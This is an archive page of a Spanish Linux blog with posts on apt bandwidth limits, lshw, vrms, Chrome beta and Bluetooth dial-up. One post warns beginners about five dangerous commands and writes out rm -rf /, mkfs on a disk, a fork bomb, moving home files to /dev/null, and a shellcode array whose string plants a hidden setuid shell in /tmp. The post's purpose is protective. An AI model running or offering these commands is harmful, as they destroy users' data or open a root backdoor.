Archivado en: ‘Linux’ .

Limitar el ancho de banda de Apt

11 Marzo, 2010

Si alguna vez te ha sucedido que procedes a actualizar tu sistema Debian (también aplica para los derivados) y utilizas Apt para hacer el trabajo, habrás notado que por defecto Apt usa todo el ancho de banda disponible, haciendo de la navegación una tarea casi imposible :sad:

Sin embargo existe una forma muy cómoda de limitar el ancho de banda, lo cual se hace de la siguiente manera:

En una consola ingresar los siguientes parámetros al comando Apt.

# apt-get -o Acquire::http::Dl-Limit=15 dist-upgrade

o bien

# apt-get -o Acquire::http::Dl-Limit=15 update

o

# apt-get -o Acquire::http::Dl-Limit=15 install vim

Claro debes cambiar el limite para que se ajuste a tus necesidades en el ejemplo lo he establecido a 15, y eso es todo, podrás actualizar tu sistema y navegar al mismo tiempo :smile: espero que esta información te sea tan útil como lo fue para mi.

Saludos!!

5 comandos de Linux que nunca deberías ejecutar.

20 Noviembre, 2009

Cuando una persona es nueva en el mundo de Linux, es muy probable encontrarse con personas mal intencionadas que intentaran engañarlo a través de foros, chats, etc. para que por medio de comandos usted pueda dañar sus archivos, equipo o peor aun el sistema operativo por completo, para evitar que esta situación peligrosa pueda ocurrir, he aquí una lista de comandos sumamente peligrosos en Linux y que usted debería evitar.

1. rm -rf /
Este comando forzara a borrar recursivamente todos los archivos dentro del directorio raíz.

2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Esta es la versión en hexadecimal de [rm-rf /] que pueden engañar incluso a los usuarios más experimentados de Linux.

3. mkfs.ext3 /dev/sda

Esto reformateara todos los archivos del dispositivo que se menciona después del comando mkfs.

4. : (){:|:&};:

Conocido como «forkbom», este comando le dirá a su sistema que ejecute un gran numero de procesos hasta que el sistema se congele, esto a menudo puede conducir a la corrupción de datos.

5. mv /home/yourhomedirectory/* /dev/null

Este comando moverá todos los archivos almacenados dentro de su directorio personal a un lugar que no existe, por lo que nunca volvería a ver sus archivos de nuevo.

Por supuesto hay muchos otros comandos que son peligrosos en Linux que no se mencionan aquí, así que si tienes algo que añadir, por favor, compártelo con nosotros a través de comentarios.

PD: No me hago responsable por pedida de datos al ejecutar algún comando mencionado en este post en un entorno Linux de producción ;) , si realmente quiere probar alguno de estos comandos te recomiendo que lo hagas por medio de una maquina virtual. Están advertidos.

Saludos!!

Comandos Utiles – lshw

14 Octubre, 2009

Un comando de mucha utilidad si queremos conocer detalles sobre nuestro hardware es lshw, la forma de uso es sencilla :D

lshw [formato] [opciones... ]

donde formato puede ser:

-X Inicia la GUI (si esta disponible)
-html activa el modo HTML
-xml activa el modo XML
-short muestra rutas del hardware
-businfo muestra información del bus

y opciones puede ser:

-enable TEST habilita las pruebas
-disable TEST deshabilita las pruebas
-class CLASS limita la salida a una clase
-C CLASS alias para -class CLASS

un ejemplo sencillo de uso seria ejecutar lo siguiente en una terminal:

lshw -C cpu

Con esto estamos indicando que nos muestre la información de la clase CPU, por lo tanto nos mostrara la información disponible de nuestro procesador, en mi caso devolvió lo siguiente :D

*-cpu
description: CPU
product: Intel(R) Celeron(R) D CPU 3.06GHz
vendor: Intel Corp.
physical id: 4
bus info: cpu@0
version: 15.6.5
serial: 0000-0F65-0000-0000-0000-0000
slot: Socket 775
size: 3066MHz
capacity: 4GHz
width: 64 bits
clock: 133MHz
capabilities: boot fpu fpu_exception wp vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx x86-64 constant_tsc up pebs bts pni dtes64 monitor ds_cpl cid cx16 xtpr pdcm lahf_lm
configuration: id=0

Existen mas combinaciones disponibles, para obtener información de diferentes dispositivos de hardware, quieres saber mas?

man lshw
:D además puedes encontrar mas información aquí

Saludos!!

Screenshots de Octubre 09

13 Octubre, 2009

Dejo algunas capturas de pantalla de mi escritorio correspondiente al mes de octubre :D

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

Fondo de pantalla Octubre 09 por Williams Orellana

vrms meme

10 Septiembre, 2009

En planet ubuntu vi un meme acerca del uso de paquetes que no son libres, me parecio bueno para medir cuan dependiente somos del software no libre, aquí están mis resultados:


williams@anubis:~$ vrms
Non-free packages installed on anubis

fglrx-modaliases          Identifiers supported by the ATI graphics driver
linux-generic             Complete Generic Linux kernel
linux-restricted-modules- Non-free Linux 2.6.28 modules helper script
linux-restricted-modules- Restricted Linux modules for generic kernels
nvidia-173-modaliases     Modaliases for the NVIDIA binary X.Org driver
nvidia-180-modaliases     Modaliases for the NVIDIA binary X.Org driver
nvidia-71-modaliases      Modaliases for the NVIDIA binary X.Org driver
nvidia-96-modaliases      Modaliases for the NVIDIA binary X.Org driver
tangerine-icon-theme      Tangerine Icon theme

Non-free packages with status other than installed on anubis

nvidia-180-libvdpau       ( dei)  Video Decode and Presentation API for Unix
nvidia-glx-180            ( dei)  NVIDIA binary Xorg driver

Contrib packages installed on anubis

flashplugin-installer     Adobe Flash Player plugin installer
nvidia-common             Find obsolete NVIDIA drivers

Contrib packages with status other than installed on anubis

nvidia-settings           ( dei)  Tool of configuring the NVIDIA graphics driver

11 non-free packages, 0.7% of 1683 installed packages.
3 contrib packages, 0.2% of 1683 installed packages.

Saludos!!

Probando Google Chrome beta en Ubuntu

6 Agosto, 2009

Este día decidí probar la versión beta de Google Chrome para Jaunty, buscando encontré que Google  a puesto a disposición los paquetes .deb para las arquitecturas de 32-bits y 64-bits algo que me parece muy conveniente pues facilmente se puede instalar el paquete desde la linea de comandos o utilizando Gdebi, algo muy bueno es que el paquete no tiene dependencias, por lo que facilita mucho la tarea de instalación :D

Lo malo es que no se puede agregar al source list, por lo que las actualizaciones tendrán que hacerse ”manualmente” :( aqui dejo unas capturas de pantalla

Chrome in Jaunty - Internet Menu

Chrome in Jaunty

Chrome in Jaunty

Menú internet en Jaunty con Chrome

A pesar que es una versión beta, yo la considero que esta bastante “usable”, aun que claro debe de tener algún bug escondido por ahí esperando emerger :D .

Mi Escritorio

28 Julio, 2009

Acá dejo unas capturas de pantalla de mi escritorio actual

Captura de pantalla 1

Captura de pantalla 2

me gusta mucho el resultado :P

Saludos!!

Hello Planet!!

23 Julio, 2009

Pues a partir de este día mi blog formara parte de Planeta Linux una comunidad de latinoamericanos blogueando sobre Linux :D

Puedes conocer mas acerca de este proyecto aquí, además puedes seguirlo a través de twitter, identi.ca, facebook, last.fm y por el IRC.

Así que los invito a leer y/o a unirse (si tienes un blog que habla sobre software libre) para que este gran proyecto siga creciendo.

Saludos!!

HOW TO: Conexión a internet con teléfono móvil y bluetooth.

20 Julio, 2009

Desde hace ya algunos meses tengo un teléfono Nokia 2630, al tener bluetooth y GPRS pensé que era muy buena idea si lograba conectarme a internet mediante el móvil :) googleando un poco me encontré con algunos tutoriales interesantes, hasta que encontré uno que me pareció de lo mas sencillo posible, es muy sencillo (pensé), por lo que no creo que funcione, lo hice en Ubuntu Jaunty (9.04) y para mi sorpresa… funciona!

A continuación detallo los pasos a seguir:

Primero que todo debemos asegurarnos que el bluetooth este activado :P el siguiente paso es establecer una conexión en serie mediante el bluetooth y el teléfono, para lograrlo necesitamos conocer su MAC address, utilizaremos hcitool para buscar dipositivos bluetooth:

[williams@anubis:~]$ hcitool scan
Scanning...
00:13:E4:7D:2E:42 Williams Mobile


Si todo ha ido bien, nos mostrara el nombre de teléfono y su MAC address, ahora hay que editar el archivo /etc/bluetooth/rfcomm.conf si no existe, debemos crearlo, si existe modificarlo para que coincida con el siguiente ejemplo:

#
# RFCOMM configuration file
#
rfcomm0 {
# Automatically bind the device at startup
bind no;
# Bluetooth address of the device
device 00:13:E4:7D:2E:42;
# RFCOMM channel for the connection
channel 1;
# Description of the connection
comment "Nokia 2630";
}

Si tu tienes un teléfono Nokia el channel debería ser 1, si es de otra marca es mejor que te asegures utilizando sdptool para comprobar las capacidades de tu teléfono. El comando debería ser sdptool browse 00:13: E4: 7D: 2E: 42, pero, por supuesto, utilizar la dirección de su teléfono. Debería salir un montón de texto, pero el que nos interesa es sólo la sección “Dial-up Networking”. Confirme el número del canal y luego hacer los cambios pertinentes en el archivo RFCOMM anteriormente.

Luego viene la configuración de PPP. Abra el archivo /etc/wvdial.conf y añadir el texto siguiente:

[Dialer Defaults]
Phone = *99#
Password = off
Username = off
Stupid Mode = 1< Dial Command = ATDT
New PPPD = yes
Remote Name = "*"
[Dialer nokia]
Modem = /dev/rfcomm0
Baud = 460800
Init1 = ATZ
Init2 = AT+CFUN=1
Init3 = ATQ0 V1 E1 S0=0 &amp;C1 &amp;D2 +FCLASS=0
ISDN = 0
Modem Type = Analog Modem
Init5 = AT+CGDCONT=1,"IP","broadband.tigo.sv"

Antes de conectarnos tenemos que crear el enlace “serial” con el teléfono (device 0 en /etc/bluetooth/rfcomm.conf)

[williams@anubis:~]$ sudo rfcomm bind 0
[williams@anubis:~]$ rfcomm
rfcomm0: 00:13:E4:7D:2E:42 channel 1 clean

Deberíamos ver el estado de rfcomm0 como "clean". Ahora solo deberíamos utilizar rebind después de reiniciar el sistema. Ahora solo nos falta usar wvdial para conectar con el teléfono y marcar al ISP:

[williams@anubis:~]$ sudo wvdial nokia

Bastante simple ¿verdad? :) espero que también les sea de ayuda.

Saludos!!

Lenny el 14 de Febrero?

2 Febrero, 2009

A mas de cuatro meses (Septiembre 2008) que debio salir la versión 5 de Debian nombre codigo “Lenny”. Este dia me entero atravez de la lista de correo de desarrollo de debian que posiblemente Lenny vea la luz el 14 de Febrero, digo posiblemente ya que solo es una fecha tentativa :P ya que aun falta afinar algunos detalles con todos los equipos que estan involucrados en el desarrollo y lazamiento de esta versión.

Aunque no me extrañaria que a última hora la fecha fuera pospuesta ;) ya que el equipo prefiere calidad en lugar de cumplir con fechas, en lo personal me parece una muy buena idea, ya que Debian es reconocida por su estabilidad. Asi que a esperar el lanzamiento de Lenny segun los desarrolladores la mejor distribución de Debian… hasta ahora ;)

Saludos!!!